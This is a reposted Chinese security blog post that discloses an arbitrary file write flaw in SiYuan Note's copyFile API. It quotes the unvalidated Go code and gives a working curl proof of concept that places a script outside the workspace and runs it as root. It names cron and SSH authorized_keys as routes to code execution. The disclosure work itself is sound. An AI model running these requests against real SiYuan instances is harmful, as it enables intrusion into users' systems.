文章总结: 本文披露思源笔记存在前台任意文件写入漏洞。漏洞源于/api/file/copyFile接口未对dest参数进行路径验证,导致认证用户可将文件复制至任意系统路径。攻击者通过上传恶意脚本并利用此漏洞写入敏感位置,最终实现远程代码执行。文章提供了详细的漏洞代码分析及复现步骤,建议用户及时修复并限制接口访问。 综合评分: 88 文章分类: 漏洞分析,代码审计,渗透测试,漏洞POC
思源笔记存在前台任意文件写入漏洞
XingYue404 XingYue404
星悦安全
2026年2月8日 15:53 浙江
点击上方蓝字关注我们 并设为星标
0x00 前言
思源笔记是一款隐私优先的个人知识管理系统,支持细粒度块级引用和 Markdown 所见即所得,开源且支持完全离线使用,同时也支持端到端加密同步。融合块、大纲和双向链接,构建永恒的数字花园
0x01 漏洞研究&复现
/api/file/copyFile端点不验证dest参数,允许认证用户将文件写入文件系统中的任意位置。可直接导致远程代码执行(RCE),通过写入敏感位置,如cron作业、SSH authorized_keys作业或shell配置文件.
// kernel/api/file.go lines 94-139
func copyFile(c *gin.Context) {
// ...
src := arg["src"].(string)
src, err := model.GetAssetAbsPath(src) // src is validated
// ...
dest := arg["dest"].(string) // dest is NOT validated!
if err = filelock.Copy(src, dest); err != nil {
// ...
}
}
src参数通过 model.GetAssetAbsPath()正确验证,但dest参数接受任意绝对路径且无需验证,允许文件写入工作区目录之外
步骤1:将恶意内容上传到工作区
curl -X POST "http://target:6806/api/file/putFile" \
-H "Authorization: Token <API_TOKEN>" \
-F "path=/data/assets/malicious.sh" \
-F "file=@-;filename=malicious.sh" <<< '#!/bin/sh
id > /tmp/pwned.txt
hostname >> /tmp/pwned.txt'
步骤2:复制到任意位置(例如,/tmp)
curl -X POST "http://target:6806/api/file/copyFile" \
-H "Authorization: Token <API_TOKEN>" \
-H "Content-Type: application/json" \
-d '{"src": "assets/malicious.sh", "dest": "/tmp/malicious.sh"}'
步骤3:验证文件是否写入工作区外
cat /tmp/malicious.sh
# Output: #!/bin/sh
# id > /tmp/pwned.txt
# hostname >> /tmp/pwned.txt
成功案例:
# Write script to /tmp
curl -X POST "http://target:6806/api/file/copyFile" \
-H "Authorization: Token <API_TOKEN>" \
-d '{"src": "assets/malicious.sh", "dest": "/tmp/malicious.sh"}'
# Execute (simulating cron or login trigger)
sh /tmp/malicious.sh
# Result
cat /tmp/pwned.txt
# uid=0(root) gid=0(root) groups=0(root)...
0x02 源码下载
标签:代码审计,0day,渗透测试,系统,通用,0day,闲鱼,交易所
关注下方公众号,发送 260208 获取源码!
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,文章作者和本公众号不承担任何法律及连带责任,望周知!!!****
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:星悦安全 XingYue404 XingYue404《思源笔记存在前台任意文件写入漏洞》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。











评论